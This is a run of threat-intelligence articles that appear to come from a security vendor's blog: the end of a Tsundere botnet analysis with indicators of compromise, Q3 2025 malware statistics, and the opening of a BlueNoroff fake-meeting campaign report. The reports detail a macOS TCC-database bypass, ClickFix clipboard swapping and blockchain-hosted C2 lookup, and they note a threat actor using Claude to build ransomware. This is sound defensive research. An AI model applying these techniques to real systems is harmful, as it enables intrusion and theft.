The Tsundere botnet relies on two constant points of reference on the Ethereum blockchain:

  • Wallet: 0x73625B6cdFECC81A4899D221C732E1f73e504a32
  • Contract: 0xa1b40044EBc2794f207D45143Bd82a1B86156c6b

In order to change the C2 server, the Tsundere botnet makes a transaction to update the state variable with a new address. Below is a transaction made on August 19, 2025, with a value of 0 ETH, which updates the address.

Smart contract containing the Tsundere botnet WebSocket C2

Smart contract containing the Tsundere botnet WebSocket C2

The state variable has a fixed length of 32 bytes, and a string of 24 bytes (see item [2] in the previous image) is stored within it. When this string is converted from hexadecimal to ASCII, it reveals the new WebSocket C2 server address: ws[:]//185.28.119[.]179:1234.

To obtain the C2 address, the bot contacts various public endpoints that provide remote procedure call (RPC) APIs, allowing them to interact with Ethereum blockchain nodes. At the start of the script, the bot calls a function named fetchAndUpdateIP, which iterates through a list of RPC providers. For each provider, it checks the transactions associated with the contract address and wallet owner, and then retrieves the string from the state variable containing the WebSocket address, as previously observed.

Malware code for retrieval of C2 from the smart contract

Malware code for retrieval of C2 from the smart contract

The Tsundere bot verifies that the C2 address starts with either ws:// or wss:// to ensure it is a valid WebSocket URL, and then sets the obtained string as the server URL. But before using this new URL, the bot first checks the system locale by retrieving the culture name of the machine to avoid infecting systems in the CIS region. If the system is not in the CIS region, the bot establishes a connection to the server via a WebSocket, setting up the necessary handlers for receiving, sending, and managing connection states, such as errors and closed sockets.

Bot handlers for communication

Bot handlers for communication

Communication

The communication flow between the client (Tsundere bot) and the server (WebSocket C2) is as follows:

  1. The Tsundere bot establishes a WebSocket connection with the retrieved C2 address.
  2. An AES key is transmitted immediately after the connection is established.
  3. The bot sends an empty string to confirm receipt of the key.
  4. The server then sends an IV, enabling the use of encrypted communication from that point on.
    Encryption is required for all subsequent communication.
  5. The bot transmits the OS information of the infected machine, including the MAC address, total memory, GPU information, and other details. This information is also used to generate a unique identifier (UUID).
  6. The C2 server responds with a JSON object, acknowledging the connection and confirming the bot’s presence.
  7. With the connection established, the client and server can exchange information freely.
    1. To maintain the connection, keep-alive messages are sent every minute using ping/pong messages.
    2. The bot sends encrypted responses as part of the ping/pong messages, ensuring continuous communication.
Tsundere communication process with the C2 via WebSockets

Tsundere communication process with the C2 via WebSockets

The connections are not authenticated through any additional means, making it possible for a fake client to establish a connection.

As previously mentioned, the client sends an encrypted ping message to the C2 server every minute, which returns a pong message. This ping-pong exchange serves as a mechanism for the C2 panel to maintain a list of currently active bots.

Functionality

The Tsundere bot is designed to allow the C2 server to send dynamic JavaScript code. When the C2 server sends a message with ID=1 to the bot, the message is evaluated as a new function and then executed. The result of this operation is sent back to the server via a custom function named serverSend, which is responsible for transmitting the result as a JSON object, encrypted for secure communication.

Tsundere bot evaluation code once functions are received from the C2

Tsundere bot evaluation code once functions are received from the C2

The ability to evaluate code makes the Tsundere bot relatively simple, but it also provides flexibility and dynamism, allowing the botnet administrators to adapt it to a wide range of actions.

However, during our observation period, we did not receive any commands or functions from the C2 server, possibly because the newly connected bot needed to be requested by other threat actors through the botnet panel before it could be utilized.

Infrastructure

The Tsundere bot utilizes WebSocket as its primary protocol for establishing connections with the C2 server. As mentioned earlier, at the time of writing, the malware was communicating with the WebSocket server located at 185.28.119[.]179, and our tests indicated that it was responding positively to bot connections.

The following table lists the IP addresses and ports extracted from the provided list of URLs:

IP Port First seen (contract update) ASN
185.28.119[.]179 1234 2025-08-19 AS62005
196.251.72[.]192 1234 2025-08-03 AS401120
103.246.145[.]201 1234 2025-07-14 AS211381
193.24.123[.]68 3011 2025-06-21 AS200593
62.60.226[.]179 3001 2025-05-04 AS214351

Marketplace and control panel

No business is complete without a marketplace, and similarly, no botnet is complete without a control panel. The Tsundere botnet has both a marketplace and a control panel, which are integrated into the same frontend.

Tsundere botnet panel login

Tsundere botnet panel login

The notable aspect of Tsundere’s control panel, dubbed “Tsundere Netto” (version 2.4.4), is that it has an open registration system. Any user who accesses the login form can register and gain access to the panel, which features various tabs:

  • Bots: a dashboard displaying the number of bots under the user’s control
  • Settings: user settings and administrative functions
  • Build: if the user has an active license, they can create new bots using the two previously mentioned methodologies (MSI or PowerShell)
  • Market: this is the most interesting aspect of the panel, as it allows users to promote their individual bots and offer various services and functionalities to other threat actors. Each build can create a bot that performs a specific set of actions, which can then be offered to others
  • Monero wallet: a wallet service that enables users to make deposits or withdrawals
  • Socks proxy: a feature that allows users to utilize their bots as proxies for their traffic
Tsundere botnet control panel, building system and market

Tsundere botnet control panel, building system and market

Each build generates a unique build ID, which is embedded in the implant and sent to the C2 server upon infection. This build ID can be linked to the user who created it. According to our research and analysis of other URLs found in the wild, builds are created through the panel and can be downloaded via the URL:

hxxps://idk.1f2e[REDACTED]07a4[.]net/api/builds/{BUILD-ID}.msi.

At the time of writing this, the panel typically has between 90 and 115 bots connected to the C2 server at any given time.

Attribution

Based on the text found in the implants, we can conclude with high confidence that the threat actor behind the Tsundere botnet is likely Russian-speaking. The use of the Russian language in the implants is consistent with previous attacks attributed to the same threat actor.

Russian being used throughout the code

Russian being used throughout the code

Furthermore, our analysis suggests a connection between the Tsundere botnet and the 123 Stealer, a C++-based stealer available on the shadow market for $120 per month. This connection is based on the fact that both panels share the same server. Notably, the main domain serves as the frontend for the 123 Stealer panel, while the subdomain “idk.” is used for the Tsundere botnet panel.

123 Stealer C2 panel sharing Tsundere's infrastructure and showcasing its author

123 Stealer C2 panel sharing Tsundere’s infrastructure and showcasing its author

By examining the available evidence, we can link both threats to a Russian-speaking threat actor known as “koneko”. Koneko was previously active on a dark web forum, where they promoted the 123 Stealer, as well as other malware, including a backdoor. Although our analysis of the backdoor revealed that it was not directly related to Tsundere, it shared similarities with the Tsundere botnet in that it was written in Node.js and used PowerShell or MSI as infectors. Before the dark web forum was seized and shut down, koneko’s profile featured the title “node malware senior”, further suggesting their expertise in Node.js-based malware.

Conclusion

The Tsundere botnet represents a renewed effort by a presumably identified threat actor to revamp their toolset. The Node.js-based bot is an evolution of an attack discovered in October of last year, and it now features a new strategy and even a new business model. Infections can occur through MSI and PowerShell files, which provides flexibility in terms of disguising installers, using phishing as a point of entry, or integrating with other attack mechanisms, making it an even more formidable threat.

Additionally, the botnet leverages a technique that is gaining popularity: utilizing web3 contracts, also known as “smart contracts”, to host command-and-control (C2) addresses, which enhances the resilience of the botnet infrastructure. The botnet’s possible author, koneko, is also involved in peddling other threats, such as the 123 Stealer, which suggests that the threat is likely to escalate rather than diminish in the coming months. As a result, it is essential to closely monitor this threat and be vigilant for related threats that may emerge in the near future.

Indicators of compromise

More IoCs related to this threat are available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

File hashes
235A93C7A4B79135E4D3C220F9313421
760B026EDFE2546798CDC136D0A33834
7E70530BE2BFFCFADEC74DE6DC282357
5CC5381A1B4AC275D221ECC57B85F7C3
AD885646DAEE05159902F32499713008
A7ED440BB7114FAD21ABFA2D4E3790A0
7CF2FD60B6368FBAC5517787AB798EA2
E64527A9FF2CAF0C2D90E2238262B59A
31231FD3F3A88A27B37EC9A23E92EBBC
FFBDE4340FC156089F968A3BD5AA7A57
E7AF0705BA1EE2B6FBF5E619C3B2747E
BFD7642671A5788722D74D62D8647DF9
8D504BA5A434F392CC05EBE0ED42B586
87CE512032A5D1422399566ECE5E24CF
B06845C9586DCC27EDBE387EAAE8853F
DB06453806DACAFDC7135F3B0DEA4A8F

File paths
%APPDATA%\Local\NodeJS

Domains and IPs
ws://185.28.119[.]179:1234
ws://196.251.72[.]192:1234
ws://103.246.145[.]201:1234
ws://193.24.123[.]68:3011
ws://62.60.226[.]179:3001

Cryptocurrency wallets
Note: These are wallets that have changed the C2 address in the smart contract since it was created.
0x73625B6cdFECC81A4899D221C732E1f73e504a32
0x10ca9bE67D03917e9938a7c28601663B191E4413
0xEc99D2C797Db6E0eBD664128EfED9265fBE54579
0xf11Cb0578EA61e2EDB8a4a12c02E3eF26E80fc36
0xdb8e8B0ef3ea1105A6D84b27Fc0bAA9845C66FD7
0x10ca9bE67D03917e9938a7c28601663B191E4413
0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84
0x46b0f9bA6F1fb89eb80347c92c9e91BDF1b9E8CC

IT threat evolution in Q3 2025. Non-mobile statistics

By: AMR

IT threat evolution in Q3 2025. Mobile statistics
IT threat evolution in Q3 2025. Non-mobile statistics

Quarterly figures

In Q3 2025:

  • Kaspersky solutions blocked more than 389 million attacks that originated with various online resources.
  • Web Anti-Virus responded to 52 million unique links.
  • File Anti-Virus blocked more than 21 million malicious and potentially unwanted objects.
  • 2,200 new ransomware variants were detected.
  • Nearly 85,000 users experienced ransomware attacks.
  • 15% of all ransomware victims whose data was published on threat actors’ data leak sites (DLSs) were victims of Qilin.
  • More than 254,000 users were targeted by miners.

Ransomware

Quarterly trends and highlights

Law enforcement success

The UK’s National Crime Agency (NCA) arrested the first suspect in connection with a ransomware attack that caused disruptions at numerous European airports in September 2025. Details of the arrest have not been published as the investigation remains ongoing. According to security researcher Kevin Beaumont, the attack employed the HardBit ransomware, which he described as primitive and lacking its own data leak site.

The U.S. Department of Justice filed charges against the administrator of the LockerGoga, MegaCortex and Nefilim ransomware gangs. His attacks caused millions of dollars in damage, putting him on wanted lists for both the FBI and the European Union.

U.S. authorities seized over $2.8 million in cryptocurrency, $70,000 in cash, and a luxury vehicle from a suspect allegedly involved in distributing the Zeppelin ransomware. The criminal scheme involved data theft, file encryption, and extortion, with numerous organizations worldwide falling victim.

A coordinated international operation conducted by the FBI, Homeland Security Investigations (HSI), the U.S. Internal Revenue Service (IRS), and law enforcement agencies from several other countries successfully dismantled the infrastructure of the BlackSuit ransomware. The operation resulted in the seizure of four servers, nine domains, and $1.09 million in cryptocurrency. The objective of the operation was to destabilize the malware ecosystem and protect critical U.S. infrastructure.

Vulnerabilities and attacks

SSL VPN attacks on SonicWall

Since late July, researchers have recorded a rise in attacks by the Akira threat actor targeting SonicWall firewalls supporting SSL VPN. SonicWall has linked these incidents to the already-patched vulnerability CVE-2024-40766, which allows unauthorized users to gain access to system resources. Attackers exploited the vulnerability to steal credentials, subsequently using them to access devices, even those that had been patched. Furthermore, the attackers were able to bypass multi-factor authentication enabled on the devices. SonicWall urges customers to reset all passwords and update their SonicOS firmware.

Scattered Spider uses social engineering to breach VMware ESXi

The Scattered Spider (UNC3944) group is attacking VMware virtual environments. The attackers contact IT support posing as company employees and request to reset their Active Directory password. Once access to vCenter is obtained, the threat actors enable SSH on the ESXi servers, extract the NTDS.dit database, and, in the final phase of the attack, deploy ransomware to encrypt all virtual machines.

Exploitation of a Microsoft SharePoint vulnerability

In late July, researchers uncovered attacks on SharePoint servers that exploited the ToolShell vulnerability chain. In the course of investigating this campaign, which affected over 140 organizations globally, researchers discovered the 4L4MD4R ransomware based on Mauri870 code. The malware is written in Go and packed using the UPX compressor. It demands a ransom of 0.005 BTC.

The application of AI in ransomware development

A UK-based threat actor used Claude to create and launch a ransomware-as-a-service (RaaS) platform. The AI was responsible for writing the code, which included advanced features such as anti-EDR techniques, encryption using ChaCha20 and RSA algorithms, shadow copy deletion, and network file encryption.

Anthropic noted that the attacker was almost entirely dependent on Claude, as they lacked the necessary technical knowledge to provide technical support to their own clients. The threat actor sold the completed malware kits on the dark web for $400–$1,200.

Researchers also discovered a new ransomware strain, dubbed PromptLock, that utilizes an LLM directly during attacks. The malware is written in Go. It uses hardcoded prompts to dynamically generate Lua scripts for data theft and encryption across Windows, macOS and Linux systems. For encryption, it employs the SPECK-128 algorithm, which is rarely used by ransomware groups.

Subsequently, scientists from the NYU Tandon School of Engineering traced back the likely origins of PromptLock to their own educational project, Ransomware 3.0, which they detailed in a prior publication.

The most prolific groups

This section highlights the most prolific ransomware gangs by number of victims added to each group’s DLS. As in the previous quarter, Qilin leads by this metric. Its share grew by 1.89 percentage points (p.p.) to reach 14.96%. The Clop ransomware showed reduced activity, while the share of Akira (10.02%) slightly increased. The INC Ransom group, active since 2023, rose to third place with 8.15%.

Number of each group’s victims according to its DLS as a percentage of all groups’ victims published on all the DLSs under review during the reporting period (download)

Number of new variants

In the third quarter, Kaspersky solutions detected four new families and 2,259 new ransomware modifications, nearly one-third more than in Q2 2025 and slightly more than in Q3 2024.

Number of new ransomware modifications, Q3 2024 — Q3 2025 (download)

Number of users attacked by ransomware Trojans

During the reporting period, our solutions protected 84,903 unique users from ransomware. Ransomware activity was highest in July, while August proved to be the quietest month.

Number of unique users attacked by ransomware Trojans, Q3 2025 (download)

Attack geography

TOP 10 countries attacked by ransomware Trojans

In the third quarter, Israel had the highest share (1.42%) of attacked users. Most of the ransomware in that country was detected in August via behavioral analysis.

Country/territory* %**
1 Israel 1.42
2 Libya 0.64
3 Rwanda 0.59
4 South Korea 0.58
5 China 0.51
6 Pakistan 0.47
7 Bangladesh 0.45
8 Iraq 0.44
9 Tajikistan 0.39
10 Ethiopia 0.36

* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
** Unique users whose computers were attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country/territory.

TOP 10 most common families of ransomware Trojans

Name Verdict %*
1 (generic verdict) Trojan-Ransom.Win32.Gen 26.82
2 (generic verdict) Trojan-Ransom.Win32.Crypren 8.79
3 (generic verdict) Trojan-Ransom.Win32.Encoder 8.08
4 WannaCry Trojan-Ransom.Win32.Wanna 7.08
5 (generic verdict) Trojan-Ransom.Win32.Agent 4.40
6 LockBit Trojan-Ransom.Win32.Lockbit 3.06
7 (generic verdict) Trojan-Ransom.Win32.Crypmod 2.84
8 (generic verdict) Trojan-Ransom.Win32.Phny 2.58
9 PolyRansom/VirLock Trojan-Ransom.Win32.PolyRansom / Virus.Win32.PolyRansom 2.54
10 (generic verdict) Trojan-Ransom.MSIL.Agent 2.05

* Unique Kaspersky users attacked by the specific ransomware Trojan family as a percentage of all unique users attacked by this type of threat.

Miners

Number of new variants

In Q3 2025, Kaspersky solutions detected 2,863 new modifications of miners.

Number of new miner modifications, Q3 2025 (download)

Number of users attacked by miners

During the third quarter, we detected attacks using miner programs on the computers of 254,414 unique Kaspersky users worldwide.

Number of unique users attacked by miners, Q3 2025 (download)

Attack geography

TOP 10 countries and territories attacked by miners

Country/territory* %**
1 Senegal 3.52
2 Mali 1.50
3 Afghanistan 1.17
4 Algeria 0.95
5 Kazakhstan 0.93
6 Tanzania 0.92
7 Dominican Republic 0.86
8 Ethiopia 0.77
9 Portugal 0.75
10 Belarus 0.75

* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
** Unique users whose computers were attacked by miners as a percentage of all unique users of Kaspersky products in the country/territory.

Attacks on macOS

In April, researchers at Iru (formerly Kandji) reported the discovery of a new spyware family, PasivRobber. We observed the development of this family throughout the third quarter. Its new modifications introduced additional executable modules that were absent in previous versions. Furthermore, the attackers began employing obfuscation techniques in an attempt to hinder sample detection.

In July, we reported on a cryptostealer distributed through fake extensions for the Cursor AI development environment, which is based on Visual Studio Code. At that time, the malicious JavaScript (JS) script downloaded a payload in the form of the ScreenConnect remote access utility. This utility was then used to download cryptocurrency-stealing VBS scripts onto the victim’s device. Later, researcher Michael Bocanegra reported on new fake VS Code extensions that also executed malicious JS code. This time, the code downloaded a malicious macOS payload: a Rust-based loader. This loader then delivered a backdoor to the victim’s device, presumably also aimed at cryptocurrency theft. The backdoor supported the loading of additional modules to collect data about the victim’s machine. The Rust downloader was analyzed in detail by researchers at Iru.

In September, researchers at Jamf reported the discovery of a previously unknown version of the modular backdoor ChillyHell, first described in 2023. Notably, the Trojan’s executable files were signed with a valid developer certificate at the time of discovery.

The new sample had been available on Dropbox since 2021. In addition to its backdoor functionality, it also contains a module responsible for bruteforcing passwords of existing system users.

By the end of the third quarter, researchers at Microsoft reported new versions of the XCSSET spyware, which targets developers and spreads through infected Xcode projects. These new versions incorporated additional modules for data theft and system persistence.

TOP 20 threats to macOS

Unique users* who encountered this malware as a percentage of all attacked users of Kaspersky security solutions for macOS (download)

* Data for the previous quarter may differ slightly from previously published data due to some verdicts being retrospectively revised.

The PasivRobber spyware continues to increase its activity, with its modifications occupying the top spots in the list of the most widespread macOS malware varieties. Other highly active threats include Amos Trojans, which steal passwords and cryptocurrency wallet data, and various adware. The Backdoor.OSX.Agent.l family, which took thirteenth place, represents a variation on the well-known open-source malware, Mettle.

Geography of threats to macOS

TOP 10 countries and territories by share of attacked users

Country/territory %* Q2 2025 %* Q3 2025
Mainland China 2.50 1.70
Italy 0.74 0.85
France 1.08 0.83
Spain 0.86 0.81
Brazil 0.70 0.68
The Netherlands 0.41 0.68
Mexico 0.76 0.65
Hong Kong 0.84 0.62
United Kingdom 0.71 0.58
India 0.76 0.56

IoT threat statistics

This section presents statistics on attacks targeting Kaspersky IoT honeypots. The geographic data on attack sources is based on the IP addresses of attacking devices.

In Q3 2025, there was a slight increase in the share of devices attacking Kaspersky honeypots via the SSH protocol.

Distribution of attacked services by number of unique IP addresses of attacking devices (download)

Conversely, the share of attacks using the SSH protocol slightly decreased.

Distribution of attackers’ sessions in Kaspersky honeypots (download)

TOP 10 threats delivered to IoT devices

Share of each threat delivered to an infected device as a result of a successful attack, out of the total number of threats delivered (download)

In the third quarter, the shares of the NyaDrop and Mirai.b botnets significantly decreased in the overall volume of IoT threats. Conversely, the activity of several other members of the Mirai family, as well as the Gafgyt botnet, increased. As is typical, various Mirai variants occupy the majority of the list of the most widespread malware strains.

Attacks on IoT honeypots

Germany and the United States continue to lead in the distribution of attacks via the SSH protocol. The share of attacks originating from Panama and Iran also saw a slight increase.

Country/territory Q2 2025 Q3 2025
Germany 24.58% 13.72%
United States 10.81% 13.57%
Panama 1.05% 7.81%
Iran 1.50% 7.04%
Seychelles 6.54% 6.69%
South Africa 2.28% 5.50%
The Netherlands 3.53% 3.94%
Vietnam 3.00% 3.52%
India 2.89% 3.47%
Russian Federation 8.45% 3.29%

The largest number of attacks via the Telnet protocol were carried out from China, as is typically the case. Devices located in India reduced their activity, whereas the share of attacks from Indonesia increased.

Country/territory Q2 2025 Q3 2025
China 47.02% 57.10%
Indonesia 5.54% 9.48%
India 28.08% 8.66%
Russian Federation 4.85% 7.44%
Pakistan 3.58% 6.66%
Nigeria 1.66% 3.25%
Vietnam 0.55% 1.32%
Seychelles 0.58% 0.93%
Ukraine 0.51% 0.73%
Sweden 0.39% 0.72%

Attacks via web resources

The statistics in this section are based on detection verdicts by Web Anti-Virus, which protects users when suspicious objects are downloaded from malicious or infected web pages. These malicious pages are purposefully created by cybercriminals. Websites that host user-generated content, such as message boards, as well as compromised legitimate sites, can become infected.

TOP 10 countries that served as sources of web-based attacks

This section gives the geographical distribution of sources of online attacks (such as web pages redirecting to exploits, sites hosting exploits and other malware, and botnet C2 centers) blocked by Kaspersky products. One or more web-based attacks could originate from each unique host.

To determine the geographic source of web attacks, we matched the domain name with the real IP address where the domain is hosted, then identified the geographic location of that IP address (GeoIP).

In the third quarter of 2025, Kaspersky solutions blocked 389,755,481 attacks from internet resources worldwide. Web Anti-Virus was triggered by 51,886,619 unique URLs.

Web-based attacks by country, Q3 2025 (download)

Countries and territories where users faced the greatest risk of online infection

To assess the risk of malware infection via the internet for users’ computers in different countries and territories, we calculated the share of Kaspersky users in each location on whose computers Web Anti-Virus was triggered during the reporting period. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries and territories.

This ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out Web Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.

Country/territory* %**
1 Panama 11.24
2 Bangladesh 8.40
3 Tajikistan 7.96
4 Venezuela 7.83
5 Serbia 7.74
6 Sri Lanka 7.57
7 North Macedonia 7.39
8 Nepal 7.23
9 Albania 7.04
10 Qatar 6.91
11 Malawi 6.90
12 Algeria 6.74
13 Egypt 6.73
14 Bosnia and Herzegovina 6.59
15 Tunisia 6.54
16 Belgium 6.51
17 Kuwait 6.49
18 Turkey 6.41
19 Belarus 6.40
20 Bulgaria 6.36

* Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.
** Unique users targeted by web-based Malware attacks as a percentage of all unique users of Kaspersky products in the country/territory.
On average, over the course of the quarter, 4.88% of devices globally were subjected to at least one web-based Malware attack.

Local threats

Statistics on local infections of user computers are an important indicator. They include objects that penetrated the target computer by infecting files or removable media, or initially made their way onto the computer in non-open form. Examples of the latter are programs in complex installers and encrypted files.

Data in this section is based on analyzing statistics produced by anti-virus scans of files on the hard drive at the moment they were created or accessed, and the results of scanning removable storage media: flash drives, camera memory cards, phones, and external drives. The statistics are based on detection verdicts from the on-access scan (OAS) and on-demand scan (ODS) modules of File Anti-Virus.

In the third quarter of 2025, our File Anti-Virus recorded 21,356,075 malicious and potentially unwanted objects.

Countries and territories where users faced the highest risk of local infection

For each country and territory, we calculated the percentage of Kaspersky users on whose computers File Anti-Virus was triggered during the reporting period. This statistic reflects the level of personal computer infection in different countries and territories around the world.

Note that this ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out File Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.

Country/territory* %**
1 Turkmenistan 45.69
2 Yemen 33.19
3 Afghanistan 32.56
4 Tajikistan 31.06
5 Cuba 30.13
6 Uzbekistan 29.08
7 Syria 25.61
8 Bangladesh 24.69
9 China 22.77
10 Vietnam 22.63
11 Cameroon 22.53
12 Belarus 21.98
13 Tanzania 21.80
14 Niger 21.70
15 Mali 21.29
16 Iraq 20.77
17 Nicaragua 20.75
18 Algeria 20.51
19 Congo 20.50
20 Venezuela 20.48

* Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.
** Unique users on whose computers local Malware threats were blocked, as a percentage of all unique users of Kaspersky products in the country/territory.

On average worldwide, local Malware threats were detected at least once on 12.36% of computers during the third quarter.

Crypto wasted: BlueNoroff’s ghost mirage of funding and jobs

Introduction

Primarily focused on financial gain since its appearance, BlueNoroff (aka. Sapphire Sleet, APT38, Alluring Pisces, Stardust Chollima, and TA444) has adopted new infiltration strategies and malware sets over time, but it still targets blockchain developers, C-level executives, and managers within the Web3/blockchain industry as part of its SnatchCrypto operation. Earlier this year, we conducted research into two malicious campaigns by BlueNoroff under the SnatchCrypto operation, which we dubbed GhostCall and GhostHire.

GhostCall heavily targets the macOS devices of executives at tech companies and in the venture capital sector by directly approaching targets via platforms like Telegram, and inviting potential victims to investment-related meetings linked to Zoom-like phishing websites. The victim would join a fake call with genuine recordings of this threat’s other actual victims rather than deepfakes. The call proceeds smoothly to then encourage the user to update the Zoom client with a script. Eventually, the script downloads ZIP files that result in infection chains deployed on an infected host.

GhostCall campaign attack flow

GhostCall campaign attack flow

In the GhostHire campaign, BlueNoroff approaches Web3 developers and tricks them into downloading and executing a GitHub repository containing malware under the guise of a skill assessment during a recruitment process. After initial contact and a brief screening, the user is added to a Telegram bot by the recruiter. The bot sends either a ZIP file or a GitHub link, accompanied by a 30-minute time limit to complete the task, while putting pressure on the victim to quickly run the malicious project. Once executed, the project downloads a malicious payload onto the user’s system. The payload is specifically chosen according to the user agent, which identifies the operating system being used by the victim.

GhostHire campaign attack flow

GhostHire campaign attack flow

We observed the actor utilizing AI in various aspects of their attacks, which enabled them to enhance productivity and meticulously refine their attacks. The infection scheme observed in GhostHire shares structural similarities of infection chains with the GhostCall campaign, and identical malware was detected in both.

We have been tracking these two campaigns since April 2025, particularly observing the continuous emergence of the GhostCall campaign’s victims on platforms like X. We hope our research will help prevent further damage, and we extend our gratitude to everyone who willingly shared relevant information.

The relevant information about GhostCall has already been disclosed by Microsoft, Huntability, Huntress, Field Effect, and SentinelOne. However, we cover newly discovered malware chains and provide deeper insights.

The GhostCall campaign

The GhostCall campaign is a sophisticated attack that uses fake online calls with the threat actors posing as fake entrepreneurs or investors to convince targets. GhostCall has been active at least since mid-2023, potentially following the RustBucket campaign, which marked BlueNoroff’s full-scale shift to attacking macOS systems. Windows was the initial focus of the campaign; it soon shifted to macOS to better align with the targets’ predominantly macOS environment, leveraging deceptive video calls to maximize impact.

The GhostCall campaign employs sophisticated fake meeting templates and fake Zoom updaters to deceive targets. Historically, the actor often used excuses related to IP access control, but shifted to audio problems to persuade the target to download the malicious AppleScript code to fix it. Most recently, we observed the actor attempting to transition the target platform from Zoom to Microsoft Teams.

During this investigation, we identified seven distinct multi-component infection chains, a stealer suite, and a keylogger. The modular stealer suite gathers extensive secret files from the host machine, including information about cryptocurrency wallets, Keychain data, package managers, and infrastructure setups. It also captures details related to cloud platforms and DevOps, along with notes, an API key for OpenAI, collaboration application data, and credentials stored within browsers, messengers, and the Telegram messaging app.

Initial access

The actor reaches out to targets on Telegram by impersonating venture capitalists and, in some cases, using compromised accounts of real entrepreneurs and startup founders. In their initial messages, the attackers promote investment or partnership opportunities. Once contact is established with the target, they use Calendly to schedule a meeting and then share a meeting link through domains that mimic Zoom. Sometimes, they may send the fake meeting link directly via messages on Telegram. The actor also occasionally uses Telegram’s hyperlink feature to hide phishing URLs and disguise them as legitimate URLs.

Overall behavior of the phishing site

Overall behavior of the phishing site

Upon accessing the fake site, the target is presented with a page carefully designed to mirror the appearance of Zoom in a browser. The page uses standard browser features to prompt the user to enable their camera and enter their name. Once activated, the JavaScript logic begins recording and sends a video chunk to the /upload endpoint of the actor’s fake Zoom domain every second using the POST method.

Initial page mimicking Zoom call joining behavior

Initial page mimicking Zoom call joining behavior

Once the target joins, a screen resembling an actual Zoom meeting appears, showing the video feeds of three participants as if they were part of a real session. Based on OSINT we were monitoring, many victims initially believed the videos they encountered were generated by deepfake or AI technology. However, our research revealed that these videos were, in fact, real recordings secretly taken from other victims who had been targeted by the same actor using the same method. Their webcam footage had been unknowingly recorded, then uploaded to attacker-controlled infrastructure, and reused to deceive other victims, making them believe they were participating in a genuine live call. When the video replay ended, the page smoothly transitioned to showing that user’s profile image, maintaining the illusion of a live call.

Fake Zoom meeting

Fake Zoom meeting

Approximately three to five seconds later, an error message appears below the participants’ feeds, stating that the system is not functioning properly and prompting them to download a Zoom SDK update file through a link labeled “Update Now”. However, rather than providing an update, the link downloads a malicious AppleScript file onto macOS and triggers a popup for troubleshooting on Windows.

Clicking the link on macOS (left) and on Windows (right)

Clicking the link on macOS (left) and on Windows (right)

On macOS, clicking the link directly downloads an AppleScript file named Zoom SDK Update.scpt from the actor’s domain. A small “Downloads” coach mark is also displayed, subtly encouraging the user to execute the script by imitating genuine Apple feedback. On Windows, the attack uses the ClickFix technique, where a modal window appears with a seemingly harmless code snippet from a legitimate domain. However, any attempt to copy the code – via the Copy button, right-click and Copy, or Ctrl+C – results in a malicious one-liner being placed in the clipboard instead.

Malicious code upon ClickFix

Malicious code upon ClickFix

We observed that the actor implemented beaconing activity within the malicious web page to track victim interactions. The page reports back to their backend infrastructure – likely to assess the success or failure of the targeting. This is accomplished through a series of automatically triggered HTTP GET requests when the victim performs specific actions, as outlined below.

Endpoint Trigger Purpose
/join/{id}/{token} User clicks Join on the pre-join screen Track whether the victim entered the meeting
/action/{id}/{token} Update / Troubleshooting SDK modal is shown Track whether the victim clicked on the update prompt
/action1/{id}/{token} User uses any copy-and-paste method to copy modal window contents Confirm the clipboard swap likely succeeded
/action2/{id}/{token} User closes modal Track whether the victim closed the modal

In September 2025, we discovered that the group is shifting from cloning the Zoom UI in their attacks to Microsoft Teams. The method of delivering malware (via a phishing page) remains unchanged.

Upon entering the meeting room, a prompt specific to the target’s operating system appears almost immediately after the background video starts – unlike before. While this is largely similar to Zoom, macOS users also see a separate prompt asking them to download the SDK file.

General fake prompt to update the SDK file (left) and Windows-specific (right)

General fake prompt to update the SDK file (left) and Windows-specific (right)

We were able to obtain the AppleScript (Zoom SDK Update.scpt) the actor claimed was necessary to resolve the issue, which was already widely known through numerous research studies as the entry point for the attack. The script is disguised as an update for the Zoom Meeting SDK and contains nearly 10,000 blank lines that obscure its malicious content. Upon execution, it fetches another AppleScript, which acts as a downloader, from a different fake link using a curl command. There are numerous variants of this “troubleshooting” AppleScript, differing in filename, user agent, and contents.

Snippets of the AppleScript disguised as a Zoom SDK update

Snippets of the AppleScript disguised as a Zoom SDK update

If the targeted macOS version is 11 (Monterey) or later, the downloader AppleScript installs a fake application disguised as Zoom or Microsoft Teams into the /private/tmp directory. The application attempts to mimic a legitimate update for Zoom or Teams by displaying a password input popup. Additionally, it downloads a next-stage AppleScript, which we named “DownTroy”. This script is expected to check stored passwords and use them to install additional malware with root privileges. We cautiously assess that this would be an evolved version of the older one, disclosed by Huntress.

Moreover, the downloader script includes a harvesting function that searches for files associated with password management applications (such as Bitwarden, LastPass, 1Password, and Dashlane), the default Notes app (group.com.apple.notes), note-taking apps like Evernote, and the Telegram application installed on the device.

Another notable feature of the downloader script is a bypass of TCC (Transparency, Consent, and Control), a macOS system designed to manage user consent for accessing sensitive resources such as the camera, microphone, AppleEvents/automation, and protected folders like Documents, Downloads, and Desktop. The script works by renaming the user’s com.apple.TCC directory and then performing offline edits to the TCC.db database. Specifically, it removes any existing entries in the access table related to a client path to be registered in the TCC database and executes INSERT OR REPLACE statements. This process enables the script to grant AppleEvents permissions for automation and file access to a client path controlled by the actor. The script inserts rows for service identifiers used by TCC, including kTCCServiceAppleEvents, kTCCServiceSystemPolicyDocumentsFolder, kTCCServiceSystemPolicyDownloadsFolder, and kTCCServiceSystemPolicyDesktopFolder, and places a hex-encoded code-signature blob (in the csreq style) in the database to meet the requirement for access to be granted. This binary blob must be bound to the target app’s code signature and evaluated at runtime. Finally, the script attempts to rename the TCC directory back to its original name and calls tccutil reset DeveloperTool.

In the sample we analyzed, the client path is ~/Library/Google/Chrome Update – the location the actor uses for their implant. In short, this allows the implant to control other applications, access data from the user’s Documents, Downloads, and Desktop folders, and execute AppleScripts – all without prompting for user consent.

Initial infection flow

Initial infection flow

Multi-stage execution chains

